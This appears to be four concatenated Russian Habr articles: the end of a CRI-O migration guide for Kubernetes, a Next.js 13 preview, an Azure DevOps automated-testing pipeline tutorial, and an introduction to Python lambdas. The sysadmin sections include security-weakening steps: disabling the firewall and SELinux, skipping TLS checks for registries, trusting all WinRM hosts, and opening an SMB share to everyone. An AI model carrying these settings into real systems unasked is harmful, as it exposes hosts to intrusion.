**Containerd в связке с runc [работает быстрее](https://www.scitepress.org/Papers/2020/93404/93404.pdf) CRI-O.** Но отличие незначительно и глобально не влияет на производительность всей системы. На графике — сравнение скорости обработки запросов (в секундах) при одинаковых параметрах системы.
**CRI-O безопаснее containerd.** CRI-O, в отличие от containerd, имеет ограниченный набор функций и внутренних компонентов. Это уменьшает потенциальную поверхность атаки и снижает уязвимость компонента.
**У CRI-O понятная структура компонентов.** CRI-O состоит из нескольких компонентов, отвечающих за хранилище, образы, сетевой интерфейс, мониторинг и безопасность. Все, что надо для работы с CRI-O, есть в открытом доступе, в том числе сценарии использования, инструкции по внедрению и настройке.
**У CRI-O шире поддержка со стороны коммьюнити.** У CRI-O много пользователей и активное сообщество. Получить помощь в решении возникающих проблем легче, чем с containerd.
Взвесив плюсы и минусы, мы выбрали для себя CRI-O.
Внедрение CRI-O
---------------
Внедрять CRI-O мы начали с версии Kubernetes 1.21. Выполняли его силами двух разработчиков. Алгоритм стандартный: перед настройкой отключаем swap, все операции на хосте выполняем от имени пользователя root.
### Настройка операционной системы, установка предварительных зависимостей для CRI-O
1. Обновляем операционную систему:
```
dnf -y update
```
2. Настраиваем firewall и SELinux. В зависимости от окружения, можно настраивать по [документации](https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/install-kubeadm/) или принять сторонний firewall, изменив зону:
```
firewall-cmd --set-default-zone trusted
firewall-cmd --reload
```
Также можно выключить firewall:
```
systemctl disable --now firewalld
```
SELinux выключаем или переводим в режим permissive:
```
setenforce 0
sed -i 's/^SELINUX=enforcing$/SELINUX=permissive/' /etc/selinux/config
```
3. Загружаем модули ядра и пакеты. Настраиваем автоматическую загрузку модуля br\_netfilter при запуске системы:
```
modprobe overlay
modprobe br_netfilter
echo "br_netfilter" >> /etc/modules-load.d/br_netfilter.conf
dnf -y install iproute-tc
```
4. Активируем форвардинг пакетов и настраиваем корректную обработку трафика:
```
cat > /etc/sysctl.d/99-kubernetes-cri.conf <
```
Применяем внесенные настройки:
```
sysctl --system
```
5. Задаем нужную версию CRI-O. Она совпадает с версией Kubernetes:
```
export REQUIRED_VERSION=1.21
```
6. Добавляем нужные репозитории:
```
dnf -y install 'dnf-command(copr)'
dnf -y copr enable rhcontainerbot/container-selinux
curl -L -o /etc/yum.repos.d/devel:kubic:libcontainers:stable.repo https://download.opensuse.org/repositories/devel:kubic:libcontainers:stable/CentOS_8/devel:kubic:libcontainers:stable.repo
curl -L -o /etc/yum.repos.d/devel:kubic:libcontainers:stable:cri-o:$REQUIRED_VERSION.repo https://download.opensuse.org/repositories/devel:kubic:libcontainers:stable:cri-o:$REQUIRED_VERSION/CentOS_8/devel:kubic:libcontainers:stable:cri-o:$REQUIRED_VERSION.repo
```
7.Устанавливаем CRI-O:
```
dnf -y install cri-o
```
8. Активируем и запускаем образ CRI-O:
```
systemctl enable --now crio
```
9. Проверяем статус CRI-O:
```
systemctl status crio
```
### Установка и активация Kubernetes
1. Добавляем репозиторий:
```
cat < /etc/yum.repos.d/kubernetes.repo
[kubernetes]
name=Kubernetes
baseurl=https://packages.cloud.google.com/yum/repos/kubernetes-el7-\$basearch
enabled=1
gpgcheck=1
repo\_gpgcheck=1
gpgkey=https://packages.cloud.google.com/yum/doc/yum-key.gpg https://packages.cloud.google.com/yum/doc/rpm-package-key.gpg
exclude=kubelet kubeadm kubectl
EOF
```
2. Устанавливаем Kubernetes версии 1.21:
```
dnf install -y kubelet-1.21* kubeadm-1.21* kubectl-1.21* --disableexcludes=kubernetes
```
3. Для использования демона CRI-O, до запуска и инициализации Kubernetes настраиваем конфигурационный файл /var/lib/kubelet/config.yaml и предварительно создаем нужный каталог:
```
mkdir /var/lib/kubelet
cat < /var/lib/kubelet/config.yaml
apiVersion: kubelet.config.k8s.io/v1beta1
kind: KubeletConfiguration
cgroupDriver: systemd
EOF
```
4. Добавляем в файл аргументы драйвера cgroup:
```
cat /dev/null > /etc/sysconfig/kubelet
cat < /etc/sysconfig/kubelet
KUBELET\_EXTRA\_ARGS=--container-runtime=remote --cgroup-driver=systemd
--container-runtime-endpoint='unix:///var/run/crio/crio.sock'
EOF
```
5. Активируем kubelet:
```
sudo systemctl enable --now kubelet
```
Дополнительно мы указали insecure\_registries, в который внесли перечень приватных клиентских реестров, для которых пропускается TLS-проверка сертификатов.
Для наших клиентов переход на CRI-O получился прозрачным и бесшовным — он выполняется при апгрейде кластера: если у клиента был кластер на 1.20 с Docker, то при апгрейде на 1.21 он получает CRI-O.
Подводные камни, или Что следует учесть при переходе на CRI-O
-------------------------------------------------------------
CRI-O — стандартизованный компонент с исходной совместимостью с Kubernetes. Благодаря этому его можно внедрить на замену Docker без особых проблем. Но на практике мы убедились, что подводные камни, которые нужно учитывать, все же есть.
**Важно проверить, как работают контейнеры, которые ранее взаимодействовали с Docker.** Для этого мы проводили CNCF-тесты: создавали кластер с тремя мастер-нодами и тремя воркерами и запускали тесты командой
```
./sonobuoy run --mode certified-conformance --plugin-env=e2e.E2E_EXTRA_ARGS="--allowed-not-ready-nodes=3"
```
**Следует проверять наличие метрик из kubelet и их лейблов.** Для этого можно с любой ноды выполнить запрос:
```
curl --cacert \
--cert \
--key \
https://:10250/metrics/cadvisor
```
В полученном запросе у контейнерных метрик должны быть заполнены лейблы. Например:
```
container_cpu_cfs_throttled_periods_total{container="metrics-server",id="/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod8af71958_7609_48db_afe4_dc772d845654.slice/crio-f56572cefcf697840ad7a11cdaf0a6b4f6b074216a863447dc61d0287b1cd3c7.scope",name="k8s_metrics-server_metrics-server-6ffbbb5859-hch2c_kube-system_8af71958-7609-48db-afe4-dc772d845654_0",namespace="kube-system",pod="metrics-server-6ffbbb5859-hch2c"} 1788 1660899417380
```
**Нужно учитывать, что cadvisor — утилита для сбора метрик с контейнеров и нод — имеет захардкоженный сокет crio.** Из-за этого смена дефолтного сокета ведет к пустым лейблам в метриках.
Новая архитектура решения: что получили мы и конечные пользователи
------------------------------------------------------------------
После внедрения CRI-O мы получили следующую схему связей Kubernetes c runc и низкоуровневыми библиотеками.
*Схема запуска контейнера в среде с CRI-O*
Мы как провайдер [Kubernetes as a Service](https://mcs.mail.ru/containers/) получили более легковесное и управляемое решение (по сравнению с Docker). Также с внедрением CRI-O повысилась отказоустойчивость нашего Kubernetes — при необходимости компонент можно легко заменить аналогичным или совместимым с CRI, не допуская остановки всей системы.
Для пользователей [Cloud Containers](https://mcs.mail.ru/containers/) переход на CRI-O прошел практически незаметно — изменился только формат сбора логов с контейнеров: Docker позволял собирать логи в json формате, а CRI-O собирает только plain-логи. При этом всегда можно настроить fluentd или fluentbit для преобразования логов в json-формат.
> Вы прямо сейчас можете попробовать [Kubernetes от VK Cloud](https://mcs.mail.ru/containers/). Для тестирования мы начисляем новым пользователям 3 000 бонусных рублей и будем рады вашей обратной связи. | https://habr.com/ru/post/707312/ | null | ru | null |
# Next.js v13. Что нового и чего ждать в будущем
25 октября команда Next проведёт презентацию, посвящённую новой, 13-ой версии. Данное обновление по традиции именуют крупнейшим. Оно может затронуть буквально всё — от очередных ускорений сборки до изменений в структуре приложения и новых абстракций.
Next.js — крупнейший фреймворк для разработки веб-приложений. Он был создан 6 лет назад, 25 октября 2016 года. За это время было выпущено 12 крупных релизов, делая веб всё быстрее и быстрее. Несмотря на громоздкость фреймворка, размеры каждого последующего релиза не становились меньше, хоть и замедлялись в темпах.
Три года назад команда Next.js впервые провела конференцию, посвящённую релизу и сделали её ежегодной. Исключением стала презентация 11-ой версии, которая прошла в июне 2021 года. В данной статье речь пойдёт о том, какой функционал был завершён в последних обновлениях и что может нас ждать на завтрашней конференции.
### О конференции и релизе
Это первая конференция, которая также будет проводиться в оффлайн режиме, в городе Сан-Франциско. При этом на онлайн конференцию зарегистрировалось более 90000 пользователей, желающих узнать в прямом эфире, что именно подготовила команда Vercel.
С последнего релиза было выпущено три минорных версии, последний раз подобное было в версии 9, для которой было выпущено целых пять минорных версий. Во многом это связано с тем, что предыдущая версия особенно отличалась количеством недоделанного функционала, выпущенного в релиз в альфа- и бета- версиях. В минорных обновлениях весь функционал постепенно завершали и переводили в раздел стабильного api.
Главным нетехническим изменением является новый логотип Next.js, который стал проще и чётче. Он стал ниже, тем самым удобнее в использовании на сайтах и в изображениях. При одинаковой ширине, высота уменьшилась в три раза.
Было/стало### Layout RFC
В мае этого года Nextjs неожиданно выпустил RFC (*request for comments*). В нём речь идёт, в первую очередь, о новой абстракции — layouts, а также о множестве связанных изменений, нацеленных на ускорение, улучшение DX и стандартизацию путём создания новых конвенций.
Это рабочее предложение буквально описывает будущий вид вид фреймворка и вышло настолько всеобъемлющий и масштабным, что о нём я решил написать отдельную статью — [Layout RFC](https://habr.com/ru/post/695076/).
### Middleware
Одним из крупнейших обновлений предыдущей версии были middleware. Они появились в качестве бета-функционала. Они были добавлены для взаимодействия с запросами пользователя в edge-рантайме, в том числе проводя rewrite-ы и redirect-ы. Изначально файлы именовались с нижним подчёркиванием в начале (`_middleware`) и хранились в корневой директории страниц.
С версии 12.2 файл именуется просто middleware и хранится в папке на уровень выше и только один на всё приложение (*прежде таких файлов могло быть несколько*). Уже в нём описывается, для каких именно путей он должен работать. Объясняется такое изменение ускорением работы и поддержке будущего Layout RFC.
### On-Demand Incremental Static Regeneration (Stable)
Incremental Static Regeneration — подход к генерации страниц, позволяющий обновлять страницы инкрементально (*т.е. после сборки приложения, когда оно уже запущено*).
В версии 9.5 появился ISR, который работал по следующему принципу: для страницы указывался промежуток времени, страница обновлялась не чаще этого промежутка после запроса пользователя.
То есть страница сгенерировалась → пользователи видят сгенерированную страницу → по истечению промежутка времени первый запрос запустит пересборку страницы, но данный пользователь получит старую версию → после завершения сборки пользователи будут получать новую версию, а промежуток начнётся сначала.
В версии 12.1 в качестве бета-функционала появился новый подход для инкрементальной регенерации. Теперь в любом api можно вызвать пересборку страницы, вызвав метод в объекте response (`res.revalidate("/path/to/page/")`). В версии 12.2 функционал переведён в статус stable.
### Улучшенная поддержка SWC
Ускорение сборки является неотъемлемой частью каждого релиза Next.js. В этот раз сборка ускорилась ещё на 40%. Минификация же стала быстрее в целых 7 раз.
Несмотря на столь значимое ускорение, минификация с SWC по умолчанию отключена и для включения в конфиг нужно добавить специальный флаг — swcMinify. Со следующего релиза данный функционал будет по умолчанию будет включён.
### Самостоятельная папка
Для работы приложения на сервер нужно передать ряд необходимых файлов — пакеты, публичные файлы и собранное приложение. Последнее в свою очередь содержит множество ненужных для запуска файлов, занимающих много ценного места.
Целью нового функционала является создать самостоятельную папку, которая будет содержать все необходимые для работы приложения файлы и ничего лишнего. Активируется она добавлением в конфиг ключа `output` со значением `standalone`.
Однако данная папка не совсем самостоятельна, так как впоследствии в неё нужно перенести модули и папку public, что показано в примере от Next.js в [докер-файле](https://github.com/vercel/next.js/blob/canary/examples/with-docker/Dockerfile).
### Изображения
В Nextjs для изображений используется свой компонент, который умеет динамически сжимать изображения и добавлять им нужные стили. Он постоянно обновлялся, то улучшая процессы и DX, то ускоряя процесс сжатия.
В следующем релизе будет добавлен новый компонент для работы с изображениями. На данный момент он храниться по пути `next/future/image`. В следующем релизе он будет перенесён в `next/image`, а старый компонент, в свою очередь, будет доступен по пути `next/legacy/image`.
Это могло работать для всех изображений, в т.ч. расположенных вне сайта, поэтому можно было указать с каких доменов могут быть загружены изображения и, как следствие, сжаты. Для этого в конфиг добавлялся ключ `images.domains`. В последних обновлениях был добавлен ключ `images.remotePatterns`, который в отличии от предыдущего варианта проверяет соответствие (match), а не точное совпадение.
Также теперь оптимизацию изображений можно будет отключить вовсе, добавив в конфиг флаг `images.unoptimized`.
### Улучшения поддержки react
Команда Next.js всегда подготавливается к будущим релизам react.js заранее. Так, поддержка react v18 появилась ещё до официального релиза версии, а серверные компоненты начали тестироваться ещё до их чёткого видения. В новом предложении помимо функционала Next.js, также описываются и серверные компоненты, которые теперь полноценно войдут в процесс.
В последнем релизе Next.js представил ряд обновлений, связанных с react, доступных в альфа-версии. В том числе Server-Side Suspense, Streaming SSR, и серверные компоненты. В версии 12.1 функционал был перемещён в бета версию. В следующей версии, вероятно, функционал будет переведён в стабильную версию вместе с выходом Layout RFC.
### Прочие изменения
Middleware, работающие в edge-рантайме хорошо себя показали и команда Next продолжила его развитие, перенося в него свой функционал. Так, в версии 12.2 была добавлена возможность работы API-роутов и генерации страниц в edge-рантайме, а также было настроено edge SSR.
Другим приятным изменением является то, что для компонента ссылок больше не нужно добавлять тег в качестве дочернего элемента. Сейчас данный функционал можно включить в конфиге, а со следующего релиза это будет работать так по умолчанию.
### Дополнительные утилиты
Была создана новая утилита для генерации OG изображений, используемых для предпросмотра ссылок в социальных сетях и мессенджерах, когда ими делятся. Изображения генерируются в 5 раз быстрее альтернатив и происходит на 40% лучше.
Для того, чтобы работал данный функционал создаётся специальный API-роут, возвращающий JSX с разметкой будущего изображения.
Данный функционал уже используется для всех изображений для предпросмотра в страницах Vercel и в билетах конференции.
Подробнее можно почитать в [статье от Vercel](https://vercel.com/blog/introducing-vercel-og-image-generation-fast-dynamic-social-card-images).
### Обновления платформы Vercel
Интересными обновлениями также являются изменения в платформе Vercel. Одним из самых интересных обновлений платформы в последний годы является Vercel preview, в котором можно в режиме коллаборации смотреть сайты, изменять их код и писать комментарии.
C последнего релиза в платформе улучшился процесс добавления комментариев, сделав это удобнее, а также добавлены скриншоты, уведомления и синхронизация всего со Slack.
### Сообщество
Next всегда уделяет внимание своему сообществу, благодаря которому он так активно растёт и развивается. В каждом обновлении говорят слова благодарности сообществу, а при релизах любят поделиться ростом этого сообщества и, думаю, этот релиз не станет исключением, ведь количество участников выросло c 1800 до 2300 (на 30%).
С момента последнего релиза прошёл первый [Developer Survey](https://vercel.link/nextjs-survey). Также было улучшено [Discord Community](https://nextjs.org/blog/discord)**.**
### Заключение
Последняя версия была опубликована всего спустя 4,5 месяца после предыдущей. Она содержала множество изменений, однако большинство из них находились на стадиях альфа- и бета-тестирования. В связи с этим большая часть дальнейших обновлений была посвящена именно доработке существующего функционала. Несмотря на это, команда Next.js подготовила и выпустила или подготовила множество интересных нововведений.
Самым интересным и перспективным нововведением стоит назвать Layout RFC, который в перспективе может значительно улучшить процессы и решить ряд разработческих проблем.
Уже 25 октября, в 19:30 CET (*20:30 МСК*), команда Vercel проведёт [конференцию](https://nextjs.org/conf/tickets/oct22/vordgi), на которой представит новый релиз Next.js. На ней мы узнаем, что именно войдёт в новый релиз в качестве готового к использованию функционала, какие планы у компании и сможем посмотреть выступления от разработчиков компании Vercel и других крупных компаний. | https://habr.com/ru/post/695080/ | null | ru | null |
# Строим пайплайн автоматизированного тестирования на Azure DevOps
Недавно я столкнулся с не очень популярным пока зверем в мире DevOps, пайплайнами Azure DevOps. Сразу же ощутил отсутствие каких то внятных инструкций или статей на тему, не знаю с чем это связанно, но Microsoft явно есть над чем поработать в плане популяризации инструмента. Сегодня мы построим пайплайн для автоматизированного тестирования внутри облака Azure.
Итак, задача:
Имеется софт, который билдят при помощи того же Azure DevOps, собирают из проекта на WIX. Если будет интерес, напишу и об этом инструменте. По факту это более оптимизированный под автоматизацию способ сборки виндовых установщиков, заменяющий собой стандартный InstallShield. Итак, наш софт успешно собирается и генерирует артефакт, некий setup.exe, который ставит приложение в систему Windows. Необходимо это приложение поставить в похожую на прод виртуалку, скопировать туда автоматизированные тесты, подготовленные командой тестирования, запустить их и забрать результаты, чтобы считать ветку хорошей или плохой, прежде чем мерджить. Все как в GitLab, ~~только через ж...~~.
В качестве среды виртуализации, где мы будем исполнять наши тесты, используем, очевидно, Azure DevTest Labs, некую сущность в подписках Azure, которая для того и создана, чтобы крутить в ней всякую тестовую ерунду за приемлимые деньги.
1. Интеграция на стороне облака
===============================
Для начала нам потребуется интегрировать наш DevTest Labs с Azure DevOps, для чего нам необходим некий Service Principal, по сути сервисная учетная запись, которая позволяет ходить пайплайнам в облако и создавать/удалять там ресурсы для себя.
Идем в подписку и находим сервис Azure Active Directory
Находим App Registrations и кликаем на New Registration, это нам создаст нашего service principal. Подробно разбирать какие настройки выбрать при создании не буду, это может отличаться у разных подписок.
Теперь нам нужно дать права нашему сервисному директору. Для этого идем в подписки, значок с ключиком. Выбираем нашу подписку.
Далее в Access Control жмем Role Assignment и ищем в поиске по созданному только что имени эту учетку. Даем роль Contributor, этого достаточно.
Далее возвращаемся к нашему Service Principal в Azure AD и открываем его свойства. Позже, нам будут нужны будут все ID которые там есть, сохраняем их.
На этом наши настройки портала заканчиваются и мы переходим в Azure DevOps.
2. Интеграция на стороне Azure DevOps
=====================================
Первым делом мы зайдем в настройки проекта и выбираем Service Connections. Создаем новый элемент типа Azure Resource Manager.
Сейчас нам понадобятся все ID что мы записали. Кликаем на use the full version of the service connection dialog. И вводим все данные что мы получили от Service Principal. Жмем verify и если все отлично сохраняем соединение. Теперь наши пайплайны могут его использовать для подключения к облаку.
3. Создание пайплайна
=====================
Теперь приступаем к самому интересному, построению непосредственно пайплайна. Открываем меню Pipelines-Builds
Нас встречает меню создания нового билда, которое по умолчанию попытается создать нам YAML файл подходящей конфигурации. Мы вежливо отказываемся от этого и выбираем классический вариант. Понятно желание Microsoft сделать все как у людей и дать возможность максимально кастомизировать пайплайны через YAML, но скупая документация и просто практическая неработоспособность многих модулей говорит нам, что пока рано пользоваться этой функциональностью.
Из многообразия шаблонов нам потребуется простой Empty Pipeline. После его создания нас встречает пустое окошко редактирования, в нем мы дальше проведем довольно много времени.
Итак, нажимаем на + и попадаем в некий магазин модулей, откуда нам потребуются по списку следующие компоненты.
Прежде чем мы приступим к конфигурации тасков пайплайна, нам нужно сформировать и положить в проект несколько файлов. Это будут ARM Template нашей виртуальной машины, который мы сгенерируем в Azure DevTest Labs, скрипт доставания IP машины после того как она создана ну и, по желанию, скрипты наших тестов или того, что мы хотим на хосте запускать.
4. Генерация ARM Template
=========================
Чтобы создать виртуалку, нам необходимо будет для начала сгенерировать для нее темплейт, json файл, который мы положим в код проекта, чтобы его оттуда смог прочитать пайплайн.
Идем в нашу лабу и находим меню Formulas (reusable bases), жмем создать новую.
Нас встретит длинный список имаджей в качестве базы, выбор размера машины, все то же самое как и при создании виртуалки. На этом этапе мы останавливаться не будем, сразу перейдем к последнему пункту свойств машины, а именно артефактам. Вы можете использовать любые конфигурации, которые необходимы для вашей среды. Например, я добавляю машину в домен и добавляю на нее сервисный аккаунт в качестве админа, чтобы пайплайн потом мог на эту машину заходить под этой учетной записью. Это все может варьироваться, но для успешного тестирования кода нам необходим один артефакт, на котором остановимся подробнее. Чтобы на нашу машину поставилась последняя версия тестируемого нами софта, мы будем использовать артефакт «Download Azure Pipelines Artifact and Run Script». Помните в начале я говорил что где-то собирается билд с установщиком приложения? Вот сейчас нам необходимо сказать виртуалке, а точнее темплейту, чтобы он пошел и забрал этот артефакт. И не просто забрал, а еще установил, для чего заполняем специальные поля с указанием проекта, названия билда и секретного ключа. Секретный ключ, как и во всех системах подобного рода, генерируется в учетной записи, в данном случае в Azure DevOps и сохраняется в Secrets в вашей лабе. Тут есть маленькая оговорка, в Secrets то мы его сохраним, но темплейту от этого ни холодно ни жарко, он будет запускаться уже от другого пользователя в рамках пайплайна, по этому секретный ключ нам надо будет еще раз вручную внести в темплейт.
Еще один артефакт, который нужно обязательно включить, это «Configure WinRM», нам он понадобится для последующего доступа на машину. Там всего один параметр, hostname. Так как мы его заранее не знаем, воспользуемся переменной %COMPUTERNAME%.
Итак мы добавили все нужные артефакты, переходим к тому зачем мы сюда вообще пришли. Достаем сгенерированный ARM Template во вкладке Advanced того же окна создания формулы.
Копируем содержимое страницы в файл VMtemplate.json и кладем его в корень проекта. Больше нам облако не нужно, возвращаемся в пайплайн.
5. Конфигурация пайплайна
=========================
Начнем с самого важного и инетерсного, создания виртуалки, ради этого мы и делали все эти интеграции и темплейты. В пункте Azure RM Subscription мы выбираем наш Service connection, который мы сконфигурировали в пункте 2. Далее должна будет выскочить доступная нам лабороторная среда. Потом выбираем json который мы сгенерировали и определяем некоторые обязательные переменные. Логин и пароль от машины можно задать или на прямую или переменными, но я вообще не уверен что он работает, что бы я туда не писал, зайти на машину потом под этими кредами не получалось, главное задать имя машины, чтобы оно по возможности было всегда уникальным. Для этого я использую переменную среды билда.
Далее мы настраиваем еще один немаловажный момент. После того как машина взлетит, нам же нужно как то знать ее параметры, а лучше не нам а пайплайну. Для этого мы делаем скрипт, к примеру GetLabVMParams.ps1 и кладем его туда же, в проект. Текст скрипта я взял на сайте Microsoft, но немного подправил его для своей среды, т.к. он брал PublicIP и FQDN машины. Ни того ни другого у меня нет, но есть PrivateIP который не так то просто достать, по этому я дописал кусок.
```
Param( [string] $labVmId)
$labVmComputeId = (Get-AzureRmResource -Id $labVmId).Properties.ComputeId
# Get lab VM resource group name
$labVmRgName = (Get-AzureRmResource -Id $labVmComputeId).ResourceGroupName
# Get the lab VM Name
$labVmName = (Get-AzureRmResource -Id $labVmId).Name
# Get lab VM public IP address
# $labVMIpAddress = (Get-AzureRmPublicIpAddress -ResourceGroupName $labVmRgName -Name $labVmName).IpAddress
# Get lab VM FQDN
# $labVMFqdn = (Get-AzureRmPublicIpAddress -ResourceGroupName $labVmRgName -Name $labVmName).DnsSettings.Fqdn
# Get lab VM private IP address
$VmNetworkdetails= (((Get-AzureRmVM -ResourceGroupName $labVmRgName -Name $labVmName).NetworkProfile).NetworkInterfaces).Id
$nicname = $VmNetworkdetails.substring($VmNetworkdetails.LastIndexOf("/")+1)
$labVMnetwork = (Get-AzureRmNetworkInterface -Name $nicname -ResourceGroupName $labVmRgName)|Select-Object -ExpandProperty IPConfigurations
$labVMIpAddress = $labVMnetwork.PrivateIpAddress
# Set a variable labVmRgName to store the lab VM resource group name
Write-Host "##vso[task.setvariable variable=labVmRgName;]$labVmRgName"
# Set a variable labVMIpAddress to store the lab VM Ip address
Write-Host "##vso[task.setvariable variable=labVMIpAddress;]$labVMIpAddress"
# Set a variable labVMFqdn to store the lab VM FQDN name
Write-Host "##vso[task.setvariable variable=labVMFqdn;]$labVMFqdn"
Write-Output $labVMIpAddress
Set-Item wsman:\localhost\client\trustedhosts * -Force
```
Из всего, что считывает скрипт, нам нужна только переменная labVMIpAddress. Ну это мне, может вам еще что-то понадобится, по этому я ничего не удалял и просто закоментировал лишнее.
Так же объясню последнюю строчку скрипта, она разрешает нашей билд машине доступ до любого хоста по WinRM.
Следующим этапом мы запускаем наш замечательный скрипт. Ему потребуется то же самое соединение с облаком, входная переменная с ID машины, которое будет к тому моменту уже известно из предыдущего шага. Как? Тут нужно упомянуть о такой замечательной вещи, как Output Variables. У каждого шага может быть список переменных которые передаются дальше, следующим шагам пайплайна. Соответственно для нашего супер скрипта такой переменной будет labVMIpAddress, не забудьте это указать.
Далее я делаю довольно простые вещи, которые, к тому же, могут варьироваться от кейса к кейсу. Исполняю удаленный скрипт с созданием шары, в которую потом буду загружать свои скрипты.
```
New-Item “C:\test" –type directory
New-SMBShare –Name “test” –Path “C:\test” –FullAccess everyone
```
Из названия тасок понятно, что дальше мы копируем некоторый sample script на машину и еще одним этапом его исполняем. В качестве адреса удаленной машины нам пригодится наша переменная $(labVMIpAddress). Далее мы используем таску «забрать артефакт с шары» и копируем результаты исполнения скрипта себе в билд среду, потом такой же стандартной таской сохраняем эти файлы в артефакт билда. После того как машина нам больше не нужна, последним этапом её убиваем. Главная сложность, как видно по объему статьи, это интегрироваться с облаком и наладить контакт с виртуалкой, которую вы создали, дальше уже можно развлекаться сколько нужно.
Это моя первая статья, так что не судите строго, замечания приветствуются. | https://habr.com/ru/post/460431/ | null | ru | null |
# Функциональное программирование на Python для самых маленьких — Часть 1 — Lambda Функция
Я решил написать эту серию статей, ибо считаю, что никто не должен сталкиваться с той стеной непонимания, с которой столкнулся когда-то я.
Ведь большинство статей написаны таки образом что, для того чтобы понять что-то в Функциональном Программировании (далее ФП), тебе надо уже знать многое в ФП. Эту статью я старался написать максимально просто — настолько понятно, чтобы её суть мог уловить мой племянник, школьник, который сейчас делает свои первые шаги в Python.
Небольшое введение
------------------
Для начала, давайте разберемся, что такое функциональное программирование, в чем его особенности, зачем оно было придумано, а также где и как его использовать. Стоп… А зачем? Об этом написаны тонны материалов, да и в этой статье судя по всему эта информация не особо нужна. Эта статья написана для того, чтобы читатели научились разбираться в коде, который написан в функциональном стиле. Но если вы все-таки хотите разобраться в истории Функционального Программирования и в том, как оно работает под капотом, то советую вам почитать о таких вещах, как
* Чистая Функция
* Функции высшего порядка
Давайте кратко разберемся в этих двух понятиях прежде чем продолжим.
**Чистая Функция** — Функция которая является детерминированной и не обладает никакими побочными эффектами.
То есть чтобы функция являлась чистой она должна быть детерминированной — то есть каждый раз при одинаковом наборе аргументов выдавать одинаковый результат.
Пример детерминированной функции
```
def sum(a,b):
return a+b
print(sum(3,6))
print(sum(3,6))
print(sum(3,6))
>>>9
>>>9
>>>9
```
И пример не детерминированной:
```
from datetime import date
todays_weekday = date.today().weekday()
def sum(a,b):
if todays_weekday == 1:
result = a+b
print(f'sum is {result} and result class is {type(result)}')
else:
result = str(a+b)
print(f'sum is {result} and result class is {type(result)}')
sum(4,5)
todays_weekday = 4
sum(4,5)
>>>sum is 9 and result class is
>>>sum is 9 and result class is
```
Каждый раз при смене дня недели (который не является аргументом функции) функция выдает разные результаты.
Самый очевидный пример не детерминированной функции это random:
```
import random
print(random.random())
print(random.random())
print(random.random())
>>>0.5002395668892657
>>>0.8837128676460416
>>>0.5308851462814731
```
Второе важное качество чистой функции это отсутствие побочных эффектов.
Покажем наглядно:
```
my_list = [32,3,50,2,29,43]
def sort_by_sort(li):
li.sort()
print(li)
sort_by_sort(my_list)
print(my_list)
>>>[2, 3, 29, 32, 43, 50]
>>>[2, 3, 29, 32, 43, 50]
```
Функция sort\_by\_sort имеет побочные эффекты потому что изменяет исходный список элементов и выводит что то в консоль.
```
my_list = [32,3,50,2,29,43]
def sort_by_sorted(li):
return sorted(li)
print(sort_by_sorted(my_list))
print(my_list)
>>>[2, 3, 29, 32, 43, 50]
>>>[32, 3, 50, 2, 29, 43]
```
В отличии от предыдущего примера функция sort\_by\_sorted не меняет исходного массива и возвращает результат не выводя его в консоль самостоятельно.
Чистые функции хороши тем что:
* Они проще читаются
* Они проще поддерживаются
* Они проще тестируются
* Они не зависят от того в каком порядке их вызывать
Функциональное программирование можно охарактеризовать тем что в нем используются только чистые функции.
> **[Функции высшего порядка](https://ru.wikipedia.org/wiki/Функция_высшего_порядка)** — в программировании функция, принимающая в качестве аргументов другие функции или возвращающая другую функцию в качестве результата.
>
>
Пример ФВП:
```
def func(num):
return num**2
def higher_order_func(fun, num):
return fun(num)+fun(num)
print(func(4))
print(higher_order_func(func,4))
>>>16
>>>32
```
С основами чуть чуть разобрались и теперь перейдем к следующему шагу.
Итак, начнем
------------
Для начала надо понять следующее — что такое Функциональное Программирование вообще. Лично я знаю две самые часто упоминаемые парадигмы в повседневном программировании — это ООП и ФП.
Если упрощать совсем и объяснять на пальцах, то описать эти две парадигмы можно следующим образом:
* ООП — это Объектно Ориентированное Программирование — подход к программированию, при использовании которого объекты можно передавать в качестве параметров и использовать их в качестве значений.
* По такой логике можно установить, что ФП — подход к программированию, при использовании которого функции можно передавать другим функциям в качестве параметров и использовать функции в качестве значений, возвращаемых другими функциями… Ответ скрыт в самом названии.
Как говорил мой любимый учитель [zverok](https://habr.com/ru/users/zverok/) Виктор Шепелев: «Вся работа в программировании — это работа с данными. Взял какие-то данные, поигрался с ними и вернул обратно.»
Это относится и к ФП — взял какие-то данные, взял какую-то функцию, поигрался с ними и выдал что-то на выходе.
Не стану расписывать всё, иначе это будет оооочень долго. Цель данной статьи — помочь разобраться, а не объяснить, как и что работает, поэтому тут мы рассмотрим основные функции из ФП.
В большинстве своем ФП (как я его воспринимаю) — это просто упрощенное написание кода. Любой код, написанный в функциональном стиле, может быть довольно легко переписан в обычном стиле без потери качества, но более примитивно. Цель ФП заключается в том, чтобы писать код более простой, понятный и который легче поддерживать, а также который занимает меньше памяти, ну и куда же без этого — разумеется, главная вечная мораль программирования — DRY (Don’t Repeat Yourself — Не повторяйся).
Сейчас мы с вами разберем одну из основных функций, которая применяется в ФП — **Lambda** функцию.
В следующих статьях мы разберем такие функции как Map, Zip, Filter и Reduce.
### Lambda функция
Lambda — это инструмент в python и других языках программирования для вызова анонимных функций. Многим это скорее всего ничего не скажет и никак не прояснит того, как она работает, поэтому я расскажу вам просто механизм работы lambda выражений.
Все очень просто.
Рассмотрим пример. Например, нам надо написать функцию которая бы считала площадь круга при известном радиусе.
Формула площади круга это
`S = pi*(r**2)`
где
S — это площадь круга
pi — математическая константа равная 3.14 которую мы получим из стандартной библиотеки Math
r — радиус круга — единственная переменная которую мы будем передавать нашей функции
Теперь оформим это все в python:
```
import math #Подключаем библиотеку math
pi_const = round(math.pi, 2) #округляем pi до второго знака после запятой иначе она будет выглядеть как 3.141592653589793 а нам это будет неудобно
# Пишем функцию которая будет вычислять площадь круга по заданному радиусу в обычном варианте записи
def area_of_circle_simple(radius):
return pi_const*(radius**2)
print(area_of_circle_simple(5))
print(area_of_circle_simple(12))
print(area_of_circle_simple(26))
>>>78.5
>>>452.16
>>>2122.64
```
Вроде бы неплохо, но это всё может выглядеть куда круче, если записывать это через lambda:
```
import math #Подключаем библиотеку math
pi_const = round(math.pi, 2) #округляем pi до второго знака
# после запятой иначе она будет выглядеть
# как 3.141592653589793 а нам это будет неудобно
print((lambda radius: pi_const*(radius**2))(5))
print((lambda radius: pi_const*(radius**2))(12))
print((lambda radius: pi_const*(radius**2))(26))
>>>78.5
>>>452.16
>>>2122.64
```
Чтобы было понятнее, анонимный вызов функции подразумевает то, что вы используете её, нигде не объявляя, как в примере выше.
